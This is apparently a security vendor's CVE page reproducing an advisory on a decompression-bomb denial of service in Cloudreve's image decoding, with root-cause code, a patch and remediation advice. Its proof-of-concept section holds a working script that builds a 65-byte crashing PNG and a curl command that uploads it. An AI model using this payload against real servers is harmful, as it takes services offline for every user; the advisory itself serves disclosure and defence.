CVE-2026-55497

CVE-2026-55497 is a medium-severity uncontrolled resource consumption vulnerability in github.com/cloudreve/Cloudreve/v4 (go), affecting versions < 4.0.0-20260613024411-3607f79bb44c. It is fixed in 4.0.0-20260613024411-3607f79bb44c.

Does this CVE actually affect you?

Kodem shows which CVEs are reachable and running in your applications, so you fix what's exploitable, not just what's listed.

Thank you! Your submission has been received!
Oops! Something went wrong while submitting the form.

Runtime intelligence, not another scanner.

Summary

Cloudreve: Denial of Service - Image decompression / pixel bomb in thumbnail & avatar decoding crashes the server

Cloudreve's built-in image processor decodes user-supplied images with Go's standard-library decoders (image/png, image/jpeg, image/gif) and guards only the compressed file size, never the decoded pixel dimensions. Go's decoders allocate a pixel buffer sized bytesPerPixel × width × height taken straight from the image header (e.g. a PNG's IHDR), with no upper bound on width/height. A tiny (tens-of-bytes) image that declares enormous dimensions therefore forces a multi-gigabyte-to-terabyte allocation (make([]uint8, …)), exhausting memory. The resulting out-of-memory condition is a fatal Go runtime error / kernel OOM-kill that recover() cannot catch, terminating the whole Cloudreve process for all users.

Two reachable sinks share the same root cause:

  1. Avatar upload (PUT /api/v4/user/setting/avatar), decodes synchronously in the request handler. Any authenticated user. Cleanest single-request PoC.
  2. Thumbnail generation (built-in generator, enabled by default), decodes in the thumbnail queue worker. Reachable for the user's own files and for files inside a share, so a planted bomb can be (re)triggered through a public share link.

Post-auth, low privilege. A single 65-byte upload deterministically takes the instance offline.

Details

Root cause, decode guarded by file size, not pixel count

The built-in generator is the default image thumbnailer:

// inventory/setting.go  @ 26b6b10
"thumb_builtin_enabled":   "1",         // ON by default
"thumb_builtin_max_size":  "78643200",  // 75 MB, a *file size* cap
"thumb_vips_enabled":      "0",         // libvips (which has its own limits) OFF by default
...
"avatar_size":             "4194304",   // 4 MB, a *file size* cap

Builtin.Generate checks the on-disk/entity size, then hands the raw bytes to the stdlib decoders:

// pkg/thumb/builtin.go:144-152  @ 26b6b10
func (b Builtin) Generate(ctx context.Context, es entitysource.EntitySource, ext string, previous *Result) (*Result, error) {
    if es.Entity().Size() > b.settings.BuiltinThumbMaxSize(ctx) {   // 75 MB compressed-size check ONLY
        return nil, fmt.Errorf("file is too big: %w", ErrPassThrough)
    }
    img, err := NewThumbFromFile(es, ext)   // <-- decode; allocation happens here
    ...
}

// pkg/thumb/builtin.go:34-60  @ 26b6b10
func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
    switch ext {
    case "jpg", "jpeg": img, err = jpeg.Decode(file)
    case "gif":         img, err = gif.Decode(file)
    case "png":         img, err = png.Decode(file)   // <-- unbounded allocation
    ...
    }
}

There is no image.DecodeConfig pre-check and no dimension/pixel cap anywhere on the path. The only Bounds()/MaxWidth references in the package (builtin.go:70,92,125, avatar_size_l=200) act on the already-decoded image and are the output resize target, they execute long after the oversized input buffer has been allocated.

Why the allocation is unbounded (Go stdlib image/png)

Go's PNG reader takes the dimensions verbatim from IHDR and rejects only non-positive values, there is no maximum:

// Go src/image/png/reader.go, parseIHDR
w := int32(binary.BigEndian.Uint32(d.tmp[0:4]))
h := int32(binary.BigEndian.Uint32(d.tmp[4:8]))
if w <= 0 || h <= 0 { return FormatError("non-positive dimension") }   // only guard
d.width, d.height = int(w), int(h)

On the first IDAT, readImagePass allocates the destination image before consuming the compressed pixel data, e.g. for colour-type 6 (RGBA, 8-bit):

// Go src/image/png/reader.go, readImagePass
nrgba = image.NewNRGBA(image.Rect(0, 0, width, height))   // make([]uint8, 4*width*height)

image.NewNRGBApixelBufferLengthmul3NonNeg(4, w, h) only guards against integer overflow (returns −1, which panics), not against huge-but-valid sizes. So any 4·w·h that fits in an int and is below the runtime's maxAlloc (~2⁴⁸ on amd64) proceeds to make([]uint8, 4·w·h). The allocation occurs even if the IDAT stream is empty/truncated, so the malicious file needs no real pixel data.

jpeg.Decode (allocates the YCbCr/RGBA buffer from the SOF/SOS dimensions, max 65535×65535 → up to ~17 GB) and gif.Decode (allocates from the logical-screen / frame dimensions) are affected the same way.

Why this is a fatal crash, not a handled error

For realistic bomb sizes (GBs–hundreds of GBs, all < maxAlloc), make proceeds and the process dies by one of:

  • Kernel OOM-killer sends SIGKILL when the touched pages can't be backed, not catchable by anything; or
  • the Go runtime throw("out of memory"), a fatal error, not a recoverable panic, so gin.Recovery() does not save it.

(Only the integer-overflow branch yields a recoverable panic; a competent attacker stays in the fatal-OOM regime, as the PoC does.)

Reachability of each sink

Avatar (synchronous, in the HTTP handler):

// routers/router.go:1269  @ 26b6b10  (under auth.Use(LoginRequired()) → user group)
setting.PUT("avatar", middleware.RequiredScopes(types.ScopeUserInfoWrite), controllers.UploadAvatar)

// service/user/setting.go:158-217  @ 26b6b10
func UpdateUserAvatar(c *gin.Context) error {
    ...
    if c.Request.ContentLength == -1 || c.Request.ContentLength > avatarSettings.MaxFileSize { // 4 MB cap
        return ...CodeFileTooLarge
    }
    return updateAvatarFile(c, u, c.GetHeader("Content-Type"), c.Request.Body, avatarSettings)
}
func updateAvatarFile(...) error {
    ext := "png"
    switch contentType { case "image/jpeg","image/jpg": ext="jpg"; case "image/gif": ext="gif" }
    avatar, err := thumb.NewThumbFromFile(file, ext)   // <-- decode of attacker bytes; no dim check
    ...
}

A 65-byte PoC trivially satisfies the 4 MB ContentLength cap.

Thumbnail (queue worker, in-process): manager.ThumbnailSubmitAndAwaitThumbnailTaskgenerateThumbpipeline.Generate (pkg/filemanager/manager/thumbnail.go:128-145, pkg/thumb/pipeline.go:86). The pipeline tries the enabled-by-default built-in generator for png/jpg/gif (other generators return ErrPassThrough for those extensions). Triggered via GET /api/v4/file/thumb?uri=… for the user's own files, and the same generation runs for files reached through a share (NavigatorCapabilityGenerateThumb), so a bomb dropped into a public share can be (re)triggered by an anonymous visitor.

Proof of Concept

The bomb (65 bytes, included as pixelbomb.png)

Generated with:

import struct, zlib, binascii
def chunk(t,d):
    c=t+d; return struct.pack(">I",len(d))+c+struct.pack(">I",binascii.crc32(c)&0xffffffff)
sig=b'\x89PNG\r\n\x1a\n'
W,H=0x7FFFFFFF,0x10                       # 2147483647 x 16
ihdr=struct.pack(">IIBBBBB",W,H,8,6,0,0,0)  # 8-bit, colour-type 6 (RGBA)
png=sig+chunk(b'IHDR',ihdr)+chunk(b'IDAT',zlib.compress(b''))+chunk(b'IEND',b'')
open('pixelbomb.png','wb').write(png)
# Go will attempt make([]uint8, 4*W*H) = 137,438,953,408 bytes (128 GiB)

Hex (entire file):

8950 4e47 0d0a 1a0a 0000 000d 4948 4452   .PNG........IHDR
7fff ffff 0000 0010 0806 0000 0068 bce2   .............h..
e300 0000 0849 4441 5478 9c03 0000 0000   .....IDATx......
0148 0689 d200 0000 0049 454e 44ae 4260   .H.......IEND.B`
82

(Dimensions are tunable: 4·W·H must stay < 2⁶³ to avoid the overflow→panic branch and < maxAlloc. 2147483647 × 16 → 128 GiB reliably OOM-kills any host; shrink H for smaller targets.)

Trigger (avatar, single request)

base=https://host/api/v4
curl -s -X PUT "$base/user/setting/avatar" \
     -H "Authorization: Bearer $TOK" \
     -H 'Content-Type: image/png' \
     --data-binary @pixelbomb.png

Observable result

# Either the kernel OOM-killer terminates the process:
#   dmesg: "Out of memory: Killed process <pid> (cloudreve)"
# or the Go runtime aborts fatally:
#   fatal error: runtime: out of memory
# The Cloudreve process exits; all users get connection-refused until restart.

Suggested Mitigation

Cap decoded pixel dimensions before fully decoding, in addition to the existing file-size cap. Use image.DecodeConfig (reads only the header) and reject images whose width × height (or either dimension) exceeds a configurable limit; apply it in NewThumbFromFile so both the thumbnail and avatar paths are covered.

--- a/pkg/thumb/builtin.go
+++ b/pkg/thumb/builtin.go
@@ func NewThumbFromFile(file io.Reader, ext string) (*Thumb, error) {
-    var err error
-    var img image.Image
-    switch ext {
+    const maxPixels = 50 * 1000 * 1000 // e.g. 50 MP; make configurable
+    // Peek header-only to reject pixel/decompression bombs before allocation.
+    var hdrBuf bytes.Buffer
+    cfg, _, err := image.DecodeConfig(io.TeeReader(file, &hdrBuf))
+    if err != nil {
+        return nil, fmt.Errorf("failed to read image config: %w (%w)", err, ErrPassThrough)
+    }
+    if int64(cfg.Width)*int64(cfg.Height) > maxPixels {
+        return nil, fmt.Errorf("image dimensions too large (%dx%d): %w", cfg.Width, cfg.Height, ErrPassThrough)
+    }
+    file = io.MultiReader(&hdrBuf, file) // replay consumed header bytes
+    var img image.Image
+    switch ext {
         case "jpg", "jpeg": img, err = jpeg.Decode(file)
         case "gif":         img, err = gif.Decode(file)
         case "png":         img, err = png.Decode(file)

Additionally:

  • Apply the same pixel cap to the avatar path (covered automatically if it routes through NewThumbFromFile, as it does).
  • Consider running image decoding in a memory-limited child process / with debug.SetMemoryLimit + a GOMEMLIMIT-aware soft fail so a single decode cannot take down the whole server even if a future decoder lacks a header pre-check.

Why sufficient: DecodeConfig parses only the header (no large allocation), so the oversized buffer is never created; legitimate images decode unchanged.

Impact

  • Direct primitive: full availability loss, the process aborts, dropping all in-flight requests/sessions for every tenant on the instance.
  • Persistence / repeatability: the bomb can be stored (as a file whose thumbnail is generated on demand, or re-uploaded as an avatar), so the instance can be crashed again immediately after each restart; if supervised with auto-restart, the attacker scripts a sustained outage.
  • Amplification: each request costs the attacker ~65 bytes but costs the server an attempted multi-GB/TB allocation; trivial to repeat/parallelize.
  • No special privilege: any registered user (avatar). The thumbnail sink lets a planted bomb in a public share be re-triggered anonymously.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2026-55497 has a CVSS score of 6.5 (Medium). The vector is network-reachable, low privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (4.0.0-20260613024411-3607f79bb44c); upgrading removes the vulnerable code path.

Affected versions

github.com/cloudreve/Cloudreve/v4 (< 4.0.0-20260613024411-3607f79bb44c) github.com/cloudreve/Cloudreve/v3 (<= 3.0.0-20250225100611-da4e44b77af4)

Security releases

github.com/cloudreve/Cloudreve/v4 → 4.0.0-20260613024411-3607f79bb44c (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

Already deployed Kodem?

See it in your environmentNew to Kodem? Get a demo →

Remediation advice

Upgrade github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260613024411-3607f79bb44c or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-55497? CVE-2026-55497 is a medium-severity uncontrolled resource consumption vulnerability in github.com/cloudreve/Cloudreve/v4 (go), affecting versions < 4.0.0-20260613024411-3607f79bb44c. It is fixed in 4.0.0-20260613024411-3607f79bb44c. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
  2. How severe is CVE-2026-55497? CVE-2026-55497 has a CVSS score of 6.5 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which packages are affected by CVE-2026-55497?
    • github.com/cloudreve/Cloudreve/v4 (go) (versions < 4.0.0-20260613024411-3607f79bb44c)
    • github.com/cloudreve/Cloudreve/v3 (go) (versions <= 3.0.0-20250225100611-da4e44b77af4)
  4. Is there a fix for CVE-2026-55497? Yes. CVE-2026-55497 is fixed in 4.0.0-20260613024411-3607f79bb44c. Upgrade to this version or later.
  5. Is CVE-2026-55497 exploitable, and should I be worried? Whether CVE-2026-55497 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-55497 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-55497? Upgrade github.com/cloudreve/Cloudreve/v4 to 4.0.0-20260613024411-3607f79bb44c or later.

Other vulnerabilities in github.com/cloudreve/Cloudreve/v4

Stop the waste.
Protect your environment with Kodem.